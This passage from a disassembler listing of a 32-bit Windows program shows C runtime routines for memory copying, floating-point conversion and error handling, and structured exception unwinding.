[edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CCA0 std rep movsd cld jmp off_41CDC0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CCA0 std rep movsd cld jmp off_41CDC0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CD74 dd offset loc_41CD7C dd offset loc_41CD84 dd offset loc_41CD8C dd offset loc_41CD94 dd offset loc_41CD9C dd offset loc_41CDA4 off_41CD70 dd offset loc_41CDB7 ; DATA XREF: sub_41CAE0+1C2r ; --------------------------------------------------------------------------- loc_41CD74: ; DATA XREF: sub_41CAE0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CD7C: ; DATA XREF: sub_41CAE0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CD84: ; DATA XREF: sub_41CAE0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CD8C: ; DATA XREF: sub_41CAE0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CD94: ; DATA XREF: sub_41CAE0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CD9C: ; DATA XREF: sub_41CAE0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CDA4: ; DATA XREF: sub_41CAE0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CDB7: ; CODE XREF: sub_41CAE0+1C2j ; DATA XREF: sub_41CAE0:off_41CD70o jmp off_41CDC0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41CDC0 dd offset loc_41CDD0 ; DATA XREF: sub_41CAE0+1B7r ; sub_41CAE0:loc_41CCC4r ... dd offset loc_41CDD8 dd offset loc_41CDE8 dd offset loc_41CDFC ; --------------------------------------------------------------------------- loc_41CDD0: ; CODE XREF: sub_41CAE0+1B7j ; sub_41CAE0:loc_41CCC4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDD8: ; CODE XREF: sub_41CAE0+1B7j ; sub_41CAE0:loc_41CCC4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDE8: ; CODE XREF: sub_41CAE0+1B7j ; sub_41CAE0:loc_41CCC4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDFC: ; CODE XREF: sub_41CAE0+1B7j ; sub_41CAE0:loc_41CCC4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CAE0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CE15 proc near ; CODE XREF: sub_40BE71+40p ; sub_40F23F+23Dp ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41B7B0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420D10 add esp, 10h leave retn sub_41CE15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41CE49(double) sub_41CE49 proc near ; CODE XREF: sub_40CE97+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43CF80 call sub_421FE9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41CECF call sub_421EB1 pop ecx test eax, eax pop ecx jle short loc_41CEB2 cmp eax, 2 jle short loc_41CEA4 cmp eax, 3 jnz short loc_41CEB2 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_4217C1 add esp, 10h jmp short loc_41CF14 ; --------------------------------------------------------------------------- loc_41CEA4: ; CODE XREF: sub_41CE49+3Fj push esi push ebx call sub_421FE9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41CF14 ; --------------------------------------------------------------------------- loc_41CEB2: ; CODE XREF: sub_41CE49+3Aj ; sub_41CE49+44j fld [ebp+arg_0] fadd dbl_428718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41CF0C ; --------------------------------------------------------------------------- loc_41CECF: ; CODE XREF: sub_41CE49+2Fj call sub_421E76 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41CEF2 loc_41CEE4: ; CODE XREF: sub_41CE49+ACj push esi push ebx call sub_421FE9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41CF14 ; --------------------------------------------------------------------------- loc_41CEF2: ; CODE XREF: sub_41CE49+99j test bl, 20h jnz short loc_41CEE4 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41CF0C: ; CODE XREF: sub_41CE49+84j call sub_421814 add esp, 1Ch loc_41CF14: ; CODE XREF: sub_41CE49+59j ; sub_41CE49+67j ... pop esi pop ebx leave retn sub_41CE49 endp ; =============== S U B R O U T I N E ======================================= sub_41CF18 proc near ; CODE XREF: sub_41BF54+9p ; sub_4220B2+21p ; DATA XREF: ... call sub_41CF30 call sub_4220B2 mov dword_4DE080, eax call sub_422062 fnclex retn sub_41CF18 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41CF30 proc near ; CODE XREF: sub_41CF18p mov eax, offset sub_4224A0 mov off_43F594, offset sub_422135 mov off_43F590, eax mov off_43F598, offset sub_42219B mov off_43F59C, offset sub_4220DB mov off_43F5A0, offset sub_422183 mov off_43F5A4, eax retn sub_41CF30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CF68 proc near ; CODE XREF: sub_40CE97+1Bp ; sub_40CE97+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41CF68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41CF8F(double) sub_41CF8F proc near ; CODE XREF: sub_40CEE3+83p ; sub_40D86F+3AEp var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43CF98 call sub_421FE9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41D015 call sub_421EB1 pop ecx test eax, eax pop ecx jle short loc_41CFF8 cmp eax, 2 jle short loc_41CFEA cmp eax, 3 jnz short loc_41CFF8 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_4217C1 add esp, 10h jmp short loc_41D05A ; --------------------------------------------------------------------------- loc_41CFEA: ; CODE XREF: sub_41CF8F+3Fj push esi push ebx call sub_421FE9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41D05A ; --------------------------------------------------------------------------- loc_41CFF8: ; CODE XREF: sub_41CF8F+3Aj ; sub_41CF8F+44j fld [ebp+arg_0] fadd dbl_428718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41D052 ; --------------------------------------------------------------------------- loc_41D015: ; CODE XREF: sub_41CF8F+2Fj call sub_421E76 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41D038 loc_41D02A: ; CODE XREF: sub_41CF8F+ACj push esi push ebx call sub_421FE9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41D05A ; --------------------------------------------------------------------------- loc_41D038: ; CODE XREF: sub_41CF8F+99j test bl, 20h jnz short loc_41D02A fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41D052: ; CODE XREF: sub_41CF8F+84j call sub_421814 add esp, 1Ch loc_41D05A: ; CODE XREF: sub_41CF8F+59j ; sub_41CF8F+67j ... pop esi pop ebx leave retn sub_41CF8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D05E proc near ; CODE XREF: sub_422911+71p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41D05E endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41D092 proc near ; CODE XREF: sub_422AC2+199p ; sub_422C86+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D092 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D099 proc near ; CODE XREF: sub_422AC2+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D099 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D0A0 proc near ; CODE XREF: sub_41D252+5Cp ; sub_422911:loc_422942p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41D0C8 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_426FFC ; RtlUnwind loc_41D0C8: ; DATA XREF: sub_41D0A0+11o mov eax, [ebp+arg_4] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_41D0A0 endp ; --------------------------------------------------------------------------- loc_41D0EF: ; CODE XREF: .packed:0042769Cj ; .packed:004276B9j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_422516 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D125 proc near ; CODE XREF: sub_42298C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41D179 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422D10 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41D125 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D179 proc near ; DATA XREF: sub_41D125+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_422516 add esp, 20h pop ebp retn sub_41D179 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D19E proc near ; CODE XREF: sub_422758+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41D252 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41D224 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DE0DC pop ecx pop ecx and [ebp+var_34], 0 loc_41D224: ; DATA XREF: sub_41D19E+3Co cmp [ebp+var_4], 0 jz short loc_41D241 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41D24A ; --------------------------------------------------------------------------- loc_41D241: ; CODE XREF: sub_41D19E+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41D24A: ; CODE XREF: sub_41D19E+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41D19E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D252 proc near ; DATA XREF: sub_41D19E+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41D275 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41D2C2 ; --------------------------------------------------------------------------- loc_41D275: ; CODE XREF: sub_41D252+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_422516 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41D2B3 push [ebp+arg_0] push [ebp+arg_4] call sub_41D0A0 loc_41D2B3: ; CODE XREF: sub_41D252+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41D2C2: ; CODE XREF: sub_41D252+21j pop edi pop esi pop ebx pop ebp retn sub_41D252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2C7 proc near ; CODE XREF: sub_4225B1+C6p ; sub_422758+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41D31E loc_41D2E5: ; CODE XREF: sub_41D2C7+52j cmp esi, 0FFFFFFFFh jnz short loc_41D2EF call sub_422DB2 loc_41D2EF: ; CODE XREF: sub_41D2C7+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41D304 cmp ecx, [eax+8] jle short loc_41D309 loc_41D304: ; CODE XREF: sub_41D2C7+36j cmp esi, 0FFFFFFFFh jnz short loc_41D315 loc_41D309: ; CODE XREF: sub_41D2C7+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41D315: ; CODE XREF: sub_41D2C7+40j cmp [ebp+arg_4], 0 jge short loc_41D2E5 mov eax, [ebp+var_4] loc_41D31E: ; CODE XREF: sub_41D2C7+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41D332 cmp esi, eax jbe short loc_41D337 loc_41D332: ; CODE XREF: sub_41D2C7+65j call sub_422DB2 loc_41D337: ; CODE XREF: sub_41D2C7+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41D2C7 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D344 proc near ; CODE XREF: sub_423D9C+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_41D35C push [ebp+arg_0] call sub_426FFC ; RtlUnwind loc_41D35C: ; DATA XREF: sub_41D344+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D344 endp ; =============== S U B R O U T I N E ======================================= sub_41D364 proc near ; DATA XREF: sub_41D386+Ao ; sub_41D3EE+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41D385 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41D385: ; CODE XREF: sub_41D364+10j retn sub_41D364 endp ; =============== S U B R O U T I N E ======================================= sub_41D386 proc near ; CODE XREF: sub_422A32+Dp ; sub_423D9C+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41D364 push large dword ptr fs:0 mov large fs:0, esp loc_41D3A3: ; CODE XREF: sub_41D386:loc_41D3DEj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41D3E0 cmp esi, [esp+1Ch+arg_4] jz short loc_41D3E0 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41D3DE push 101h mov eax, [ebx+esi*4+8] call sub_41D41A call dword ptr [ebx+esi*4+8] loc_41D3DE: ; CODE XREF: sub_41D386+44j jmp short loc_41D3A3 ; --------------------------------------------------------------------------- loc_41D3E0: ; CODE XREF: sub_41D386+2Aj ; sub_41D386+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41D386 endp ; =============== S U B R O U T I N E ======================================= sub_41D3EE proc near ; CODE XREF: sub_422A52+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41D364 jnz short locret_41D410 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41D410 mov eax, 1 locret_41D410: ; CODE XREF: sub_41D3EE+10j ; sub_41D3EE+1Bj retn sub_41D3EE endp ; =============== S U B R O U T I N E ======================================= sub_41D411 proc near ; CODE XREF: sub_422D10+1Ep ; sub_422D10+40p push ebx push ecx mov ebx, offset dword_43CF9C jmp short loc_41D424 sub_41D411 endp ; =============== S U B R O U T I N E ======================================= sub_41D41A proc near ; CODE XREF: sub_41D386+4Fp ; sub_423D9C+78p push ebx push ecx mov ebx, offset dword_43CF9C mov ecx, [ebp+8] loc_41D424: ; CODE XREF: sub_41D411+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41D41A endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41D434 proc near ; CODE XREF: sub_40CEE3+5p ; sub_40D082+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41D434 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D453 proc near ; CODE XREF: sub_40D515+22p ; .packed:00426DD5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B881 pop ecx retn sub_41D453 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D460 proc near ; CODE XREF: sub_40D582+3Ap ; sub_41E6A2+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41D480 cmp edi, eax jb loc_41D5F8 loc_41D480: ; CODE XREF: sub_41D460+16j test edi, 3 jnz short loc_41D49C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D4BC rep movsd jmp off_41D5A8[edx*4] ; --------------------------------------------------------------------------- loc_41D49C: ; CODE XREF: sub_41D460+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41D4B4 and eax, 3 add ecx, eax jmp dword ptr loc_41D4BC+4[eax*4] ; --------------------------------------------------------------------------- loc_41D4B4: ; CODE XREF: sub_41D460+46j jmp dword ptr loc_41D5B8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D4BC: ; CODE XREF: sub_41D460+31j ; sub_41D460+8Ej ... jmp off_41D53C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D4D0 dd offset loc_41D4FC dd offset loc_41D520 ; --------------------------------------------------------------------------- loc_41D4D0: ; DATA XREF: sub_41D460+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41D4BC rep movsd jmp off_41D5A8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41D4FC: ; DATA XREF: sub_41D460+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41D4BC rep movsd jmp off_41D5A8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D520: ; DATA XREF: sub_41D460+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41D4BC rep movsd jmp off_41D5A8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D53C dd offset loc_41D59F ; DATA XREF: sub_41D460:loc_41D4BCr dd offset loc_41D58C dd offset loc_41D584 dd offset loc_41D57C dd offset loc_41D574 dd offset loc_41D56C dd offset loc_41D564 dd offset loc_41D55C ; --------------------------------------------------------------------------- loc_41D55C: ; CODE XREF: sub_41D460:loc_41D4BCj ; DATA XREF: sub_41D460+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41D564: ; CODE XREF: sub_41D460:loc_41D4BCj ; DATA XREF: sub_41D460+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41D56C: ; CODE XREF: sub_41D460:loc_41D4BCj ; DATA XREF: sub_41D460+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41D574: ; CODE XREF: sub_41D460:loc_41D4BCj ; DATA XREF: sub_41D460+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41D57C: ; CODE XREF: sub_41D460:loc_41D4BCj ; DATA XREF: sub_41D460+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41D584: ; CODE XREF: sub_41D460:loc_41D4BCj ; DATA XREF: sub_41D460+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41D58C: ; CODE XREF: sub_41D460:loc_41D4BCj ; DATA XREF: sub_41D460+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D59F: ; CODE XREF: sub_41D460:loc_41D4BCj ; DATA XREF: sub_41D460:off_41D53Co jmp off_41D5A8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D5A8 dd offset loc_41D5B8 ; DATA XREF: sub_41D460+35r ; sub_41D460+92r ... dd offset loc_41D5C0 dd offset loc_41D5CC dd offset loc_41D5E0 ; --------------------------------------------------------------------------- loc_41D5B8: ; CODE XREF: sub_41D460+35j ; sub_41D460+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D5C0: ; CODE XREF: sub_41D460+35j ; sub_41D460+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D5CC: ; CODE XREF: sub_41D460+35j ; sub_41D460+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D5E0: ; CODE XREF: sub_41D460+35j ; sub_41D460+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D5F8: ; CODE XREF: sub_41D460+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41D62C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D620 std rep movsd cld jmp off_41D740[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D620: ; CODE XREF: sub_41D460+1B1j ; sub_41D460+208j ... neg ecx jmp off_41D6F0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D62C: ; CODE XREF: sub_41D460+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41D644 and eax, 3 sub ecx, eax jmp dword ptr loc_41D644+4[eax*4] ; --------------------------------------------------------------------------- loc_41D644: ; CODE XREF: sub_41D460+1D6j ; DATA XREF: sub_41D460+1DDr jmp off_41D740[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D658 dd offset loc_41D678 dd offset loc_41D6A0 ; --------------------------------------------------------------------------- loc_41D658: ; DATA XREF: sub_41D460+1ECo mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41D620 std rep movsd cld jmp off_41D740[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41D678: ; DATA XREF: sub_41D460+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41D620 std rep movsd cld jmp off_41D740[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D6A0: ; DATA XREF: sub_41D460+1F4o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41D620 std rep movsd cld jmp off_41D740[edx*4] ; --------------------------------------------------------------------------- align 4 